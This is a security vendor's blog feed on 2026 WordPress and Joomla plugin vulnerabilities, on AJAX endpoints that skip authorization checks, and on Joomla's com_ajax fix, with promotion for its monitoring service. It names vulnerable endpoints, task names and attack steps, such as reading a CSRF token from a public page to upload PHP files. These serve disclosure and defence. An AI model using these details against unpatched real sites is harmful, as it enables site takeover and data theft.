Continuous vulnerability scanning across every connected site, cross-referenced against Wordfence and Patchstack feeds twice daily. A new CVE drops, the dashboard tells you who is exposed, you don't have to read the advisories yourself.
Real-time file-change alerting so new PHP files appearing in upload directories or the webroot trigger an immediate notification. This is the single highest-signal alert for file-upload RCEs - the attacker's first move after exploitation is writing a file that did not exist before.
Bulk plugin updates across your whole portfolio in one action, so the window between disclosure and patch is minutes, not days.
Admin login alerting on every connected site, catching the common post-exploit move of creating a new administrator account.
Daily deep file scans against 12 years of threat signature data, so webshells dropped via vulnerabilities you did not even know about still get caught before they do damage.

This is why auto-updates are a safety net and not a strategy. They will happily carry you onto a partial fix like 3.3.25 and then stop. Monitoring, bulk-update control, file-change alerting, and deep scanning are what catch the things auto-updates miss. If you want a concrete operational routine for running these checks across a portfolio, we wrote up exactly that in how to build a five-minute morning routine for checking all your sites.

What is the broader lesson for WordPress agencies?

A version number that looks patched is not the same as a version that is patched. The only authoritative check is to compare the installed version against the fully patched version published by the vendor, not the first version the vendor labelled as a fix.

AJAX file upload handlers have far more surface area than they look, and "we patched it" and "we are safe" are not the same sentence. A vendor can genuinely try to fix an AJAX handler and still ship an exploit because the surface area is that large. If you manage more than a handful of sites, you need a way to answer "which of my sites are running plugin X below version Y" in under a minute, and a way to see if anything unexpected has been written to disk since the last scan. Without both, you cannot respond to vulnerabilities like this before the scanners finish their sweep.

Stop guessing which sites are vulnerable

mySites.guru connects to every WordPress and Joomla site you manage, indexes every plugin and extension, and cross-references them against vulnerability databases continuously. One flat price of £19.99 per month. Unlimited sites. Same pricing since 2012.

Run a free audit Sign up free

4 Major WordPress Plugins Patched Security Flaws in March 2026

phil@mysites.guru (Phil Taylor) — Mon, 06 Apr 2026 00:00:00 GMT

Four of WordPress's most-installed plugins all shipped security patches in March 2026: Elementor (10 million active installs), Yoast SEO (10 million), WPForms (6 million), and Really Simple Security (3 million). Combined, that is over 29 million WordPress installations running code that needed fixing.

The patches shipped as minor version bumps. No emergency banners, no vendor blog posts sounding the alarm. If you check your plugins regularly, you might have noticed the update dot. If you rely on auto-updates, you might be fine. If you do neither, your sites are still vulnerable.

Two of these four vulnerabilities require no authentication to exploit. An attacker does not need an account on your site. They just need to know your site exists.

How Does mySites.guru Help With WordPress Plugin Vulnerabilities?

If you manage WordPress sites for clients, you already know these patches exist. The information is public. The hard part is checking every site actually got them. Four plugins across 50 client sites is 200 individual version checks. Manually, that is an afternoon. With a dashboard, it takes seconds.

mySites.guru's vulnerability alerting cross-references every installed plugin on your connected sites against the Wordfence Vulnerability API twice daily. When a CVE drops for a plugin you have installed, you get flagged automatically, without RSS feeds to monitor or security blogs to bookmark.

For patches like these, you can see at a glance which sites are still running vulnerable versions, then push updates in bulk across your entire portfolio. Or run a free audit on any site to see its current plugin versions and known vulnerabilities in under a minute.

The WordPress Extensions page lists every plugin installed across all your connected sites. Filter by name, sort by version, and click "Which sites?" to find exactly where a specific plugin is running.

Click through to any plugin and you see every version variant across your portfolio. In this example, Elementor 3.35.5 (vulnerable) and 3.35.8 (patched) are both present, with a "1 Vulnerable Plugins!" warning on the sites still running the old version.

When a site has a known vulnerable plugin, the manage site page shows a red warning banner at the top with the CVE details and a link to learn more.

The WordPress vulnerability scanner page explains the full detection pipeline.

What Got Patched?

Elementor - Sensitive Data Exposure (CVE-2026-1206)

Detail	Value
CVE	CVE-2026-1206
CVSS	4.3 Medium
Type	Incorrect Authorization / Information Disclosure
Affected versions	All versions up to 3.35.7
Patched version	3.35.8 (March 23, 2026)
Auth required	Yes - Contributor or above
Researcher	Angus Girvan (via Wordfence)

The is_allowed_to_read_template() function in Elementor had a logic error. It treated non-published templates as readable without checking whether the requesting user actually had edit capabilities. A contributor could call the get_template_data action via the elementor_ajax endpoint with any template_id and pull back private or draft template content.

This is a confidentiality issue, not a code execution flaw. No one is taking over your site through this alone. But draft templates often contain unreleased page layouts, pricing structures, or client content that should not be accessible to low-privilege users.

mySites.guru subscribers: check your Elementor versions now

Open Elementor Extension Search

Lists every Elementor version across your connected sites, grouped by version number. Spot 3.35.7 or earlier at a glance. Not a subscriber? Sign up free to get this visibility.

Yoast SEO - Stored Cross-Site Scripting (CVE-2026-3427)

Detail	Value
CVE	CVE-2026-3427
CVSS	6.4 Medium
Type	Stored XSS
Affected versions	All versions up to 27.1.1
Patched version	27.2 (March 17, 2026)
Auth required	Yes - Contributor or above
Researcher	Osvaldo Noe Gonzalez Del Rio (via Wordfence)

Yoast SEO failed to sanitize the jsonText block attribute in the HowTo block. A contributor could inject arbitrary JavaScript into page content. The script executes in the browser of anyone who views the page, including administrators.

What can an attacker do with it? Steal admin session cookies, redirect users, deface content, or inject SEO spam. XSS in a plugin installed on 10 million sites is a wide attack surface, even with the contributor-level authentication requirement. Sites with open registration, guest author accounts, or compromised low-privilege credentials are the obvious targets.

Yoast's 27.2 changelog mentions "adds sanitization to duration text for the HowTo block" without naming the CVE directly. This is normal - most vendors downplay security fixes in their changelogs.

mySites.guru subscribers: check your Yoast SEO versions now

Open Yoast SEO Extension Search

Shows which of your sites run Yoast SEO 27.1.1 or earlier. Not a subscriber? Sign up free and connect your sites.

WPForms - Sensitive Data Exposure (CVE-2026-25339)

Detail	Value
CVE	CVE-2026-25339
CVSS	Medium (score not yet assigned by NVD)
Type	Sensitive Data Exposure
Affected versions	All versions up to 1.9.9.1
Patched version	1.9.9.2
Auth required	No - unauthenticated
Researcher	Not publicly attributed

This one requires no login at all. An unauthenticated attacker can trigger sensitive data exposure from WPForms. The exact technical mechanism has not been fully documented publicly, but the vulnerability is confirmed across multiple security databases including the Sucuri March 2026 roundup and Patchstack.

WPForms is the most popular form plugin for WordPress. It collects contact form submissions, payment details, registration data, and application forms. A data exposure flaw in a form plugin deserves urgent attention because the data it handles is sensitive by definition.

The current version on wordpress.org is 1.10.0.2, so 1.9.9.2 is now several releases behind. If you are still on 1.9.9.x, update immediately.

mySites.guru subscribers: check your WPForms versions now

WPForms Lite WPForms Pro

Both Lite and Pro editions are affected - check which version each of your sites is running. Not a subscriber? Sign up free and connect your sites.

Really Simple Security - Broken Access Control (CVE-2026-32461)

Detail	Value
CVE	CVE-2026-32461
CVSS	5.3 Medium
Type	Missing Authorization (CWE-862)
Affected versions	All versions through 9.5.7
Patched version	9.5.8 (February 26, 2026)
Auth required	No - unauthenticated
Researcher	Or Benit (via Patchstack Bug Bounty)

Really Simple Security (formerly Really Simple SSL) had missing authorization checks on certain plugin functions. An unauthenticated attacker can call these functions to modify plugin settings without logging in.

The CVSS vector confirms integrity impact only - no data theft, no denial of service. The likely practical attack is manipulating SSL/security settings: disabling HTTPS enforcement, altering security rules, or weakening the site's security posture to enable follow-up attacks like session hijacking over unencrypted connections.

Note the patch date: February 26, over five weeks ago. The CVE was published March 13. If your sites have not updated to at least 9.5.8 in over a month, your update process needs attention.

Why Did These All Land in the Same Month?

March 2026 was unusually busy for WordPress plugin security. Beyond these four, we also covered Smart Slider 3's arbitrary file read (CVE-2026-3098) and the broader pattern of AJAX endpoint authorization failures across both WordPress and Joomla ecosystems. The pattern continued into April with Ninja Forms File Uploads (CVE-2026-0740), a CVSS 9.8 unauthenticated RCE in another WordPress plugin AJAX handler affecting around 50,000 sites.

This is not a coordinated attack. It is the natural result of increased security research activity. The Wordfence Bug Bounty and Patchstack Bug Bounty programs have been scaling up, paying researchers to audit popular plugins. More researchers auditing more plugins means more vulnerabilities found and disclosed. The patches come in waves because the responsible disclosure timelines converge.

The takeaway is better process, not panic. If checking four plugins across your portfolio takes manual effort, you will fall behind when the next wave hits.

How to Check If Your Sites Are Patched

Manual Check (Single Site)

Log into wp-admin
Go to Plugins > Installed Plugins
Find each plugin and compare the version number:

Plugin	Minimum safe version
Elementor	3.35.8
Yoast SEO	27.2
WPForms	1.9.9.2
Really Simple Security	9.5.8

If any version is lower, click Update Now

Bulk Check With mySites.guru (Unlimited Sites)

mySites.guru's WordPress Extensions page lists every plugin across all your connected sites with version numbers. Checking all four plugins takes under a minute:

Open Your WordPress Extensions in mySites.guru
Type "Elementor" in the filter bar
Click Which sites? to see every site running it, grouped by version
Any site on 3.35.7 or earlier is vulnerable - update it
Repeat for Yoast SEO, WPForms, and Really Simple Security

Sites running vulnerable versions are flagged automatically with a red "Vulnerable Plugins!" badge. You do not need to remember version numbers or cross-reference CVE databases - the dashboard does it for you.

Once you've identified the sites that need updating, push the updates in bulk from the same dashboard. No SSH access required, no logging into individual admin panels.

Try a free audit to see where any single site stands, or sign up to connect your full portfolio and get this visibility across all your sites.

WP-CLI Check (Command Line)

If you have SSH access and WP-CLI installed:

wp plugin list --fields=name,version,update_version --format=table

This shows the installed version alongside the available update version. Run it on each site, or script it across multiple servers.

What to Do After Updating

Patching is step one. For the two unauthenticated vulnerabilities (WPForms and Really Simple Security), consider whether exploitation may have occurred before you applied the patch:

WPForms: Review form submission logs for unusual entries. Check whether any form data was accessed by unauthorized parties. If you collect payment or personal data through WPForms, assess whether a data breach notification is required under your jurisdiction's privacy laws.
Really Simple Security: Check your SSL/security settings are still correctly configured. Verify HTTPS enforcement is active. Review the plugin's settings page for unexpected changes.
Both: Run a security audit and check for signs of compromise. Look for unfamiliar admin accounts, modified files, or unexpected cron jobs.

For the two authenticated vulnerabilities (Elementor and Yoast SEO), review your user list. If any contributor or author accounts were created without your knowledge, that is worth investigating regardless of these specific CVEs.

Are Auto-Updates Enough?

WordPress supports per-plugin auto-updates, and many hosts enable them by default. In theory, your sites should have received these patches automatically. In practice:

Some agencies disable auto-updates for stability reasons
Some hosts delay or batch auto-updates
Plugin auto-updates can fail silently if the site has filesystem permission issues
Minor-only auto-update policies may not catch plugin updates at all

Auto-updates are a good safety net, not a replacement for monitoring. The only way to be certain a patch landed is to verify the installed version. Trust, but verify.

4.6/5

Rated 4.6/5 by WP Mayor

"An excellent solution for agencies and developers who manage multiple WordPress and Joomla sites. The vulnerability scanning and alerting alone make it worth the subscription."

Read the WP Mayor review Try mySites.guru free

AJAX Endpoints Are A Big CMS Security Blind Spot

phil@mysites.guru (Phil Taylor) — Fri, 03 Apr 2026 00:00:00 GMT

In March 2026, five separate AJAX and API vulnerabilities were disclosed across Joomla and WordPress. All five exploited the same weakness: AJAX endpoints that, at most, verify a CSRF token but never check who the user is or whether they have permission to perform the action.

Update (April 7, 2026): the pattern continued into April. On April 6, Wordfence publicly disclosed CVE-2026-0740 in Ninja Forms File Uploads, a CVSS 9.8 unauthenticated arbitrary file upload in another WordPress plugin AJAX handler. It affects around 50,000 sites, and the first patch the vendor shipped did not actually fix the issue - only 3.3.27 closes it. Same root cause, same surface, different plugin.

Update (April 16, 2026): sixth AJAX-authorization CVE in eight weeks. CVE-2026-3614 in AcyMailing is a CVSS 8.8 privilege escalation where any authenticated user can bypass the authorization check on the plugin's internal router. The public CVE was published as WordPress-only, but a diff of the 10.8.1 and 10.8.2 Joomla tarballs shows the vulnerable code is in shared files - Joomla sites running 9.11.0 through 10.8.1 have the same exposure. One more cross-platform plugin CVE that only reached the WordPress half of the audience.

Update (July 8, 2026): the same pattern is now being exploited at scale. Since 5 July, a botnet has been mass-defacing Joomla sites through an unauthenticated flaw in JoomShaper's Helix3 template framework in the Hacked by AntonKill defacement wave, reachable through the exact com_ajax surface described here. It is the same root cause moving from disclosure to live, automated abuse.

The individual vulnerabilities have been patched. Joomla 5.4.4 added a framework-level authentication check to com_ajax, and WordPress's admin-ajax.php already requires a login for non-nopriv hooks. But neither system checks authorization at the framework level. That is still the developer's responsibility, and the pattern of AJAX handlers shipping without capability checks shows that too many developers do not realise it.

What makes AJAX endpoints so dangerous?

Both Joomla's com_ajax and WordPress's admin-ajax.php were built as lightweight utility endpoints. They exist so plugins and extensions can handle AJAX requests without needing their own dedicated routes. Convenient for developers, dangerous in practice.

The design assumption behind both systems is the same: the plugin on the other end will handle its own security. The AJAX handler just passes the request through. At best, it verifies a CSRF token or nonce to confirm the request was not forged. But a CSRF check is not authentication, and it is definitely not authorization. It proves the request came from a legitimate page. It does not prove who sent it or whether they should be allowed to do what they are asking.

Extension developers treat these endpoints as if they were internal buses, trusting that by the time a request reaches their code, it has already been validated. But com_ajax is publicly accessible. admin-ajax.php is accessible to any authenticated user, including subscribers. When the plugin on the other end skips its own authorization check, you get an unauthenticated (or under-authenticated) attack surface hiding behind what looks like internal plumbing.

That is not a one-off, and March 2026 proved it five times over.

What is the difference between authentication and authorization?

Most of the vulnerabilities in this post confuse these two concepts, or skip both entirely.

Authentication verifies who are you? - is this a real, logged-in user with a valid session? A CSRF token does not do this. It only confirms the request was not forged from another site. Checking authentication means checking the user's session state: is_user_logged_in() in WordPress, or $app->getIdentity()->id in Joomla (returns 0 for guests).

Authorization verifies are you allowed to do this? - even if someone is logged in, they may not have permission for a specific action. A WordPress subscriber should not be able to export wp-config.php. A Joomla user without admin privileges should not be able to upload files via a template framework. Checking authorization means an explicit capability check: current_user_can('manage_options') in WordPress, or $user->authorise('core.manage', 'com_templates') in Joomla.

Most of the AJAX vulnerabilities covered here had a CSRF token check but skipped both authentication and authorization. The request was not forged. Nobody checked who sent it.

Why did Joomla's own team have to harden com_ajax?

The most telling entry in the March 2026 disclosure list is CVE-2026-21629 - and it did not come from a third-party extension. The Joomla Security Strike Team themselves found that com_ajax, the component routing AJAX requests for every Joomla plugin, was excluded from the default logged-in-user check in the admin area.

That means com_ajax in the backend did not even require a logged-in user by default. The AdministratorApplication class explicitly whitelisted com_ajax on the same allowlist as the login page itself, so that pre-login AJAX calls (WebAuthn/passkey flows, CAPTCHA) could work. The consequence: any unauthenticated visitor could reach backend AJAX handlers directly.

Third-party developers building admin AJAX handlers could reasonably assume the framework had already verified the user was authenticated. Every other backend component required a logged-in user. com_ajax did not, and nothing in Joomla's developer documentation warned them otherwise. The official docs on com_ajax focus entirely on mechanics - URL parameters, method naming, response formats - with no mention that the backend endpoint bypassed the normal login requirement.

That left every extension developer responsible for rolling their own authentication and authorization checks inside every AJAX handler. Some did. Astroid and Novarain did not. And because the gap was invisible - nothing in the framework signalled that the developer needed to add those checks - the same mistake was made independently by multiple development teams.

The severity was rated Low, but the implications are serious. This was not a plugin-level oversight. The framework itself had an authorization gap that every extension built on top of it inherited. The Astroid and Novarain vulnerabilities are the direct, predictable consequences of that gap.

What does the actual Joomla fix look like?

The commit that fixed CVE-2026-21629 is worth reading because it shows exactly how Joomla flipped the default. The fix adds a check at the top of components/com_ajax/ajax.php:

$unauthorizedAdministratorAccessCheck = (
    $app->isClient('administrator') && $app->getIdentity()->guest
);

If the request is hitting the admin-area com_ajax and the user is a guest (not logged in), the fix then uses PHP reflection to inspect the target method for a new attribute called AllowUnauthorizedAdministratorAccess. If the method does not carry that attribute, the request is rejected with JERROR_ALERTNOAUTHOR.

$verifyUnauthorizedAdministratorAccessCheck =
    function ($classOrObject, $method): void {
        $reflection = new ReflectionMethod(
            $classOrObject, $method
        );

        foreach ($reflection->getAttributes() as $attribute) {
            if ($attribute->getName()
                === AllowUnauthorizedAdministratorAccess::class
            ) {
                return;
            }
        }

        throw new RuntimeException(
            Text::_('JERROR_ALERTNOAUTHOR')
        );
    };

This check runs for every code path through com_ajax - module helpers, plugins, and template helpers all get the same gate. The only way through as a guest is to explicitly opt in with the PHP attribute on your method:

#[AllowUnauthorizedAdministratorAccess]
public function onAjaxWebauthn(AjaxEvent $event): void

The WebAuthn (passkey) plugin gets this attribute because it legitimately needs to work before login. Everything else is blocked by default.

The default flipped. Before: open to everyone unless the developer adds a check. After: blocked for guests unless the developer explicitly opts in with a PHP attribute. Extensions like Astroid and Novarain would now be blocked automatically, because their AJAX methods do not carry the AllowUnauthorizedAdministratorAccess attribute.

Backwards-compatibility break for Joomla extension developers

This fix does not just block handlers that were missing authentication. It blocks any admin AJAX handler that does not authenticate the Joomla way - specifically, by having a valid admin session. If a developer was already performing their own authentication checks (API key validation, custom token verification, IP-based restrictions, or any other method that does not go through Joomla's session system), their handler will now be rejected before their code even runs. The framework-level guest check fires first, and if there is no Joomla admin session, the request is denied regardless of what the handler itself would have done.

Developers who were doing the right thing - securing their AJAX handlers properly, just not using Joomla's built-in session system - are now broken alongside developers who were doing nothing at all.

The only escape hatch is the #[AllowUnauthorizedAdministratorAccess] attribute, which opts the method back out of the framework check entirely. But adding that attribute also removes the protection for handlers that genuinely were insecure, so developers need to be certain their own checks are solid before opting out.

Extensions with legitimate pre-login needs (like WebAuthn) can opt back in with the attribute. Extensions that were unknowingly exposed (like Astroid and Novarain) get protected automatically. Extensions that had their own security but not via Joomla sessions get caught in the crossfire.

Here is what makes this worse: the official 5.4.4 / 6.0.4 release announcement does not mention this breaking change at all. The security fix is listed as "[20260301] - ACL hardening in com_ajax" with no further detail, no warning to extension developers, and no indication that existing plugins may stop working. The announcement even reassures developers that the upgrade is smooth and most extensions will work with the backwards compatibility plugin enabled.

The actual documentation of this breaking change is buried in the 6.0.4 known issues page on the Joomla developer manual - a page that most extension developers will never check for a point release. It acknowledges the change, notes that performing ACL checks in custom code "was considered a best practice," and points to the WebAuthn plugin as a reference implementation for the new attribute. That is the entirety of the guidance.

A security fix that changes the default behaviour of com_ajax for every Joomla extension using admin AJAX handlers, that will silently break any plugin relying on the previous open default, shipped with a one-line entry in the release notes and was documented only in a known-issues sub-page of the migration manual. Any extension developer who updated to 5.4.4 and found their AJAX handlers returning authorization errors would have had no obvious explanation unless they stumbled onto that page.

The security fix is the right call. Shipping a breaking change in a point release with no prominent warning to developers is not.

It took over a decade of Joomla releases (3.0.0 through 5.4.3 and 6.0.0 through 6.0.3) for this default to be corrected. Every extension built during that time inherited the open default, and many shipped without the authentication checks that the framework should have enforced from the start.

The official Joomla docs still teach this insecure pattern

As of April 2026, the Joomla developer manual's own AJAX example component ships with no CSRF token check, no authentication, and no authorization in its AJAX controller. The AjaxController::divide() method reads user input directly from the request and returns a response without verifying anything about the caller:

public function divide()
{
    $input = $this->app->input;
    $a = $input->get("a", 0, "float");
    $b = $input->get("b", 0, "float");
    // ... no Session::checkToken(), no $user->authorise(), no guest check
    $result = $this->_divide($a, $b);
    echo new JsonResponse($result, "It worked!");
}

The JavaScript that calls this endpoint does not send a CSRF token either. Any anonymous visitor can hit index.php?option=com_ajaxdemo&format=json&task=ajax.divide and the controller will happily process the request.

It could be argued that this is just a simple frontend public example, and security checks would complicate the teaching. But it is called "AjaxDemo" and it does not even use com_ajax - it routes through its own component controller. So the official AJAX example component does not demonstrate AJAX security or com_ajax.

This particular endpoint only divides two numbers, so the security impact is zero. But this is a teaching example. Developers copy these patterns into real extensions that handle file uploads, database writes, and admin operations. If the official documentation demonstrates AJAX without any security checks, it should not be a surprise when developers ship extensions without any security checks.

Would the 5.4.4 fix make this example secure? No. The com_ajaxdemo example routes requests through its own component controller (index.php?option=com_ajaxdemo&task=ajax.divide), not through com_ajax. The 5.4.4 authentication check only applies to requests routed through com_ajax. Components with their own controllers are completely unaffected by the fix. A developer who copies this pattern into an admin component will have an unauthenticated endpoint that no framework-level check will catch.

It is not just the example component. The official documentation pages for AJAX plugins, com_ajax, and AJAX in general do not mention authentication or authorization either. Nowhere in Joomla's AJAX documentation does a developer encounter a warning that their handler needs to verify who is calling it or whether they have permission.

The Astroid and Novarain developers did not invent the insecure pattern. They learned it.

How does WordPress handle this differently?

WordPress takes the opposite default. Its admin-ajax.php uses a two-hook system with baked-in authentication:

wp_ajax_{action} only fires if the user is logged in. WordPress checks is_user_logged_in() itself, before any plugin code runs.
wp_ajax_nopriv_{action} fires for unauthenticated users. Developers must explicitly register this hook to allow guest access.

In WordPress, a developer has to opt into unauthenticated access. In Joomla before 5.4.4, a developer had to opt into authenticated-only access by coding the check themselves. The defaults were reversed.

Neither system checks authorization (does this user have permission to do this specific thing?) - that is still the developer's job on both platforms. But WordPress's framework-level gate catches the most common mistake: forgetting authentication entirely. Joomla's com_ajax caught nothing until 5.4.4.

Which five incidents prove the AJAX frontdoor security lax pattern?

All five were disclosed in March 2026.

Astroid Framework for Joomla (CVE-2026-21628, CVSS 10.0)

The Astroid Framework vulnerability is the textbook example. The AJAX endpoint in Admin.php used Joomla's checkToken() to verify CSRF tokens but never checked whether the requester was actually an administrator. Attackers grabbed the token from the public login page and used it to upload backdoors and install SEO spam plugins. No login required. CVSS 10.0, the maximum possible score.

The fix was a single authorization check: $user->authorise('core.manage', 'com_templates'). Standard Joomla ACL that should have been there from the start.

Novarain Framework for Joomla (CVE-2026-21627, CVSS 9.5)

The Novarain/Tassos Framework vulnerability went further. Fully unauthenticated, with no token, no login, and no capability check at all. Joomla's com_ajax routed requests to the nrframework plugin, which whitelisted file inclusion as a non-admin task. Attackers could include arbitrary PHP files, delete files, and perform SQL injection through a single AJAX endpoint. Six weeks after the patch, 46.5% of affected sites in our dataset were still running vulnerable versions.

Smart Slider 3 for WordPress (CVE-2026-3098, CVSS 6.5)

The Smart Slider 3 vulnerability targeted the WordPress side. The plugin's export AJAX actions had a nonce for CSRF protection but no capability check. Any subscriber-level user could call the export function and download arbitrary files from the server, including wp-config.php with database credentials and authentication keys. Smart Slider 3 has over 800,000 active installs, and roughly 500,000 were still running vulnerable versions at disclosure.

Same pattern, different CMS. CSRF protection without authentication or authorization.

Joomla core com_ajax ACL hardening (CVE-2026-21629)

Covered in detail above. The framework routing every Joomla plugin's AJAX requests was itself missing the default authentication check in the admin area.

Joomla webservice endpoint access bypass (CVE-2026-23899)

Joomla's webservice API layer did not properly verify that incoming requests had the right permissions, allowing unauthorized access to restricted endpoints. Reported by vnth4nhnt from CyStack and fixed in the same release. Different mechanism than com_ajax, same category of failure: an endpoint that accepts requests it should reject.

Is this just a March 2026 problem?

No. The same AJAX authorization failure has been producing critical vulnerabilities for at least a year:

Advanced Custom Fields: Extended (CVE-2025-13486, CVSS 9.8) - The acfe/form/render_form_ajax endpoint had no nonce check and no capability check. Unauthenticated visitors could invoke arbitrary PHP functions via call_user_func_array(), leading to full remote code execution. Over 100,000 WordPress sites affected. Actively exploited in the wild from December 2025.

King Addons for Elementor (CVE-2025-8489, CVSS 9.8) - The king_addons_user_register AJAX action accepted a user_role parameter from POST data without restriction and without any capability check. Any unauthenticated visitor could create an administrator account. Wordfence recorded over 48,400 blocked exploitation attempts from October 2025.

Gravity Forms (CVE-2025-12352, CVSS 9.8) - The copy_post_image AJAX function performed no file type validation and no authorization check. Unauthenticated attackers could upload PHP backdoors. This is one of the most widely-used premium WordPress form plugins.

Anti-Malware Security and Brute-Force Firewall (CVE-2025-11705, CVSS 6.5) - A security plugin with the same vulnerability it was supposed to protect against. The scan AJAX handler had CSRF protection via a nonce but never called current_user_can() to verify the user's role. Any subscriber could obtain the nonce through the quarantine view and use it to read arbitrary files, including wp-config.php. Over 100,000 installs.

HUSKY Products Filter for WooCommerce (CVE-2025-1661, CVSS 9.8) - The woof_text_search AJAX action was registered for unauthenticated users via wp_ajax_nopriv_. The template parameter accepted user input for file inclusion with no path restriction. Unauthenticated local file inclusion leading to full remote code execution.

Same blueprint every time. The March 2026 cluster just made the pattern impossible to ignore by hitting both CMS platforms in the same month.

It carried on producing. In August 2026 the same shape turned up in Fabrik, the application builder extension for Joomla, whose calc element evaluates a PHP expression by design and whose AJAX recalculation route could be reached with no login at all. That one is CVE-2026-66915, scored a maximum CVSS 10.0.

The AJAX endpoint flaws we found ourselves

Writing the March analysis convinced us the pattern was too common to be a run of bad luck, so we went looking for it on purpose, in the extensions our customers actually run. We found it repeatedly. Every flaw below was discovered by mySites.guru, reported privately to its vendor, and published only after a fix shipped.

Three of them are the exact shape this post describes, a handler hanging off Joomla's com_ajax with the authorisation check missing:

Extension	The endpoint	What an anonymous request could do	CVE	CVSS
PageBuilder CK	Front-end `browse.ajaxAddPicture` task, gated by a CSRF token freely readable from the homepage, with no `authorise()` and no extension allow-list	Upload `.php` to `/images/` and execute it	CVE-2026-56290	10.0
Helix3	`onAjaxHelix3` handler reached through `com_ajax`, several actions carrying no token and no `authorise()`	Write and delete arbitrary files by path traversal, overwrite template params	CVE-2026-49049	High
Quix Page Builder	Front-end element AJAX handler that put a request-supplied article id into a query with no integer cast, and reflected the database error back	Read any table in the database, including password hashes and other API secrets	CVE-2026-58078	8.7

The Quix flaw is the newest, disclosed today, and it adds a wrinkle worth noting: the endpoint reflected its own database errors back to the caller. The missing authorisation check opened the door, and the error reflection then read the contents of the room out loud. Both are fixed in Quix 6.2.1.

The same root cause keeps arriving through doorways that are not com_ajax at all, which is the part we did not expect. A public front-end task, a raw-format view, a member upload form: each is a request handler an anonymous or low-privileged visitor can reach, and each failed the same way.

Extension	Flaw	CVE	CVSS
SP Page Builder	Unauthenticated upload to RCE	CVE-2026-48908	10.0
Balbooa Forms	Unauthenticated upload to RCE, found as an active zero-day	CVE-2026-56291	10.0
RSFiles!	Unauthenticated upload to RCE	CVE-2026-57827	10.0
iCagenda	Unauthenticated upload to RCE	CVE-2026-48939	9.8
Phoca Download	Authenticated member upload to RCE	CVE-2026-57828	9.0
AcyMailing	Unauthenticated SQL injection	CVE-2026-56292	8.7
DPCalendar	Unauthenticated SQL injection through a `format=raw` events feed	CVE-2026-57831	8.7
EDocman	Unauthenticated SQL injection	CVE-2026-57832	8.7

Every one scored between 8.7 and 10.0. The full account of that run, including how the vendors responded, is in a month of Joomla security disclosures.

"Unauthenticated SQL injection" means complete and utter database loss

That phrase appears four times in the tables above, dry enough to sound survivable. Spelled out in plain English, it means an anonymous stranger with no account, no password and no login can download your entire database. Every user record and every password hash, Super Users included. Every customer order, every address, every private draft, every form submission, every API key an extension has quietly stored in its parameters. Those password hashes then crack offline at the attacker's leisure on hardware built for the job, and a cracked Super User hash is simply an admin login, with no exploit required for the second visit. On the over-privileged database users that shared hosting hands out as standard, the read often reaches every other database on the same server, so one vulnerable Joomla site can expose its neighbours. Where the database login holds the FILE privilege, the same flaw writes a web shell and stops being a read at all.

The part that fools people is how quiet it is. A database read changes nothing: no modified files, no new admin user, no web shell, no malware for a scanner to catch, nothing for an integrity check to flag. Your site looks perfect afterwards, because it is perfect. The attacker took a copy and left the original exactly where it was. That is also why restoring a backup answers none of it. Restoring undoes changes, and nothing changed. Once the data is copied it stays copied, and all that is left is rotating every credential in it and telling the people whose data it was. We break this down further in why unauthenticated SQL injection means complete database compromise.

So when a vendor changelog says "improved input validation" and a CVE says "read-only", read both as "an anonymous visitor could have taken everything". A read-only injection scores lower than remote code execution on paper. In the room where you have to tell customers their data is gone, the difference stops mattering.

One clarification, because credit matters in both directions. Helix Ultimate shipped a 2.2.7 security release fixing an unauthenticated onAjaxHelixultimate menu write that leads to stored XSS, textbook for this post. We did not find that one. JoomShaper's own developer wrote and shipped the fix, and we confirmed it by reading the public code difference. It belongs in the pattern, not in our column.

What the run taught us is that the AJAX blind spot is not really about AJAX. It is about any request handler a developer thinks of as plumbing rather than as a public door. com_ajax produces these bugs reliably because it looks like internal wiring, but a front-end task or a raw view looks like internal wiring too, and gets the same treatment.

What should extension developers be doing better?

The five March 2026 CVEs and the year of AJAX vulnerabilities before them all trace back to one habit: developers treating AJAX endpoints as internal plumbing rather than public attack surface.

Always authorize, never just authenticate

A CSRF token or nonce only proves the request was not forged. It says nothing about who the user is or whether they have permission to perform the action. Every AJAX handler needs both an authentication check (is this a valid, logged-in user?) and a capability check (does this user have the right permissions?).

In WordPress, that means current_user_can('manage_options') (or whatever capability fits the action) before executing any logic. In Joomla, that means $user->authorise('core.manage', 'com_yourcomponent') or a more specific ACL check.

Never trust the framework to do your security for you

Until Joomla 5.4.4, com_ajax in the backend did not require authentication. Even after the fix, neither Joomla nor WordPress checks authorization at the framework level. Your AJAX handler is a public endpoint. Treat it like one.

Register the minimum access level

In WordPress, only register wp_ajax_nopriv_{action} if the action genuinely needs to work for unauthenticated visitors. For admin-only actions, only register wp_ajax_{action}. This gives you the framework's login check as a free first line of defence.

In Joomla (post-5.4.4), the backend com_ajax now requires authentication by default. But developers supporting older Joomla versions should still verify the user is logged in (e.g. checking $app->getIdentity()->id is non-zero) as a fallback.

Validate and sanitize all input

File paths, role names, SQL fragments - nothing from the request body should be used directly. The King Addons privilege escalation happened because the plugin accepted user_role=administrator from POST data without question. The HUSKY vulnerability happened because a file path was used in an inclusion without sanitization.

Audit your existing AJAX handlers

If you maintain a WordPress plugin or Joomla extension, search your codebase for wp_ajax_, wp_ajax_nopriv_, and com_ajax handlers. For each one, verify: does it check the user's capabilities? Does it validate all input? Could a subscriber (or a guest) reach it?

The Astroid fix was a single line of code. The Novarain fix was similar. These are not hard problems to solve - they are easy problems that nobody solved until attackers found them first.

What else was fixed in Joomla 5.4.4?

The Joomla 5.4.4 and 6.0.4 security release on 31 March 2026 patched six CVEs in total. Beyond the AJAX and API issues already discussed:

CVE	Component	Severity	Description	Reporter
CVE-2026-23898	com_joomlaupdate	High	Arbitrary file deletion via the autoupdate server mechanism	Phil Taylor
CVE-2026-21630	com_content webservice	High impact	SQL injection in the articles API via improperly built order clauses	GitHub Security Lab, CyStack
CVE-2026-21631	com_associations	Moderate	XSS in the multilingual associations comparison view	UNC Pembroke researchers
CVE-2026-21632	Various article outputs	Moderate	XSS from unescaped article titles in multiple locations	Peter Vanderhulst

CVE-2026-23898 - Reported by Phil Taylor

CVE-2026-23898 is a high-severity arbitrary file deletion vulnerability in com_joomlaupdate, reported by Phil Taylor (the author of this blog and founder of mySites.guru). The autoupdate server mechanism lacked input validation, allowing an attacker to delete any file on the server that the PHP process has access to - not just Joomla files, but anything the web server user can reach. The component responsible for keeping Joomla up to date had a security hole in it.

An attacker who can delete files can take a site offline, weaken its security configuration, or expose protected directories by removing .htaccess or web.config. File deletion vulnerabilities can also be chained with other attacks to escalate to full site takeover.

